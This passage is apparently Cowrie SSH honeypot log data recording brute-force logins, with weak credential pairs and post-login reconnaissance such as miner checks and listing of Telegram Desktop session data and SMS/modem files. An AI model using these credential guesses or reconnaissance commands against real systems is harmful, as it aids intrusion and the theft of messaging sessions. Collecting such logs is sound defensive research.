8-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:09.726683Z","src_ip":"92.118.39.92","session":"1c8dfbb49619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:10.043088Z","src_ip":"92.118.39.92","session":"1c8dfbb49619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:11.150350Z","src_ip":"92.118.39.92","session":"1c8dfbb49619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.227.125.172","src_port":54144,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee49ad6aa03a","protocol":"ssh","message":"New connection: 83.227.125.172:54144 (10.17.0.5:22) [session: ee49ad6aa03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:37.404894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:37.468510Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:37.572895Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:38.722219Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:39.845484Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:40.149678Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:40.152720Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:40.155214Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:40.314872Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:40.564006Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:40.566988Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":906,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:40.705275Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:41.005429Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:41.008640Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:41.124994Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:41.375275Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:41.378574Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:41.496792Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:41.764242Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:41.767977Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:41.904064Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:42.193881Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:42.196876Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:42.311327Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:42.567666Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:42.571342Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:42.720732Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:42.989119Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:42.992377Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:43.164753Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:43.459169Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:43.462614Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:30:43.572494Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":46832,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a1c396c98c3","protocol":"ssh","message":"New connection: 195.178.110.218:46832 (159.203.135.109:22) [session: 0a1c396c98c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:20.503767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:20.507533Z","src_ip":"195.178.110.218","session":"0a1c396c98c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:20.584085Z","src_ip":"195.178.110.218","session":"0a1c396c98c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:20.811624Z","src_ip":"195.178.110.218","session":"0a1c396c98c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:21.890722Z","src_ip":"195.178.110.218","session":"0a1c396c98c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52608,"dst_ip":"10.17.0.5","dst_port":22,"session":"6af9d725eabd","protocol":"ssh","message":"New connection: 80.94.92.184:52608 (10.17.0.5:22) [session: 6af9d725eabd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:39.672781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:40.015330Z","src_ip":"80.94.92.184","session":"6af9d725eabd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:40.019133Z","src_ip":"80.94.92.184","session":"6af9d725eabd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"banx","message":"login attempt [solv/banx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:42.314884Z","src_ip":"80.94.92.184","session":"6af9d725eabd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:43.670761Z","src_ip":"80.94.92.184","session":"6af9d725eabd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":59516,"dst_ip":"159.203.135.109","dst_port":22,"session":"0824e71faf31","protocol":"ssh","message":"New connection: 162.120.6.20:59516 (159.203.135.109:22) [session: 0824e71faf31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:46.245991Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:46.317837Z","src_ip":"162.120.6.20","session":"0824e71faf31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":59518,"dst_ip":"159.203.135.109","dst_port":22,"session":"515e4b84e737","protocol":"ssh","message":"New connection: 162.120.6.20:59518 (159.203.135.109:22) [session: 515e4b84e737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:46.384916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:46.388850Z","src_ip":"162.120.6.20","session":"515e4b84e737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:46.459271Z","src_ip":"162.120.6.20","session":"515e4b84e737","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1a2b3c4d","message":"login attempt [root/1a2b3c4d] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:46.670057Z","src_ip":"162.120.6.20","session":"515e4b84e737","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:46.846717Z","src_ip":"162.120.6.20","session":"515e4b84e737","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:46.850235Z","src_ip":"162.120.6.20","session":"515e4b84e737","protocol":"ssh"}
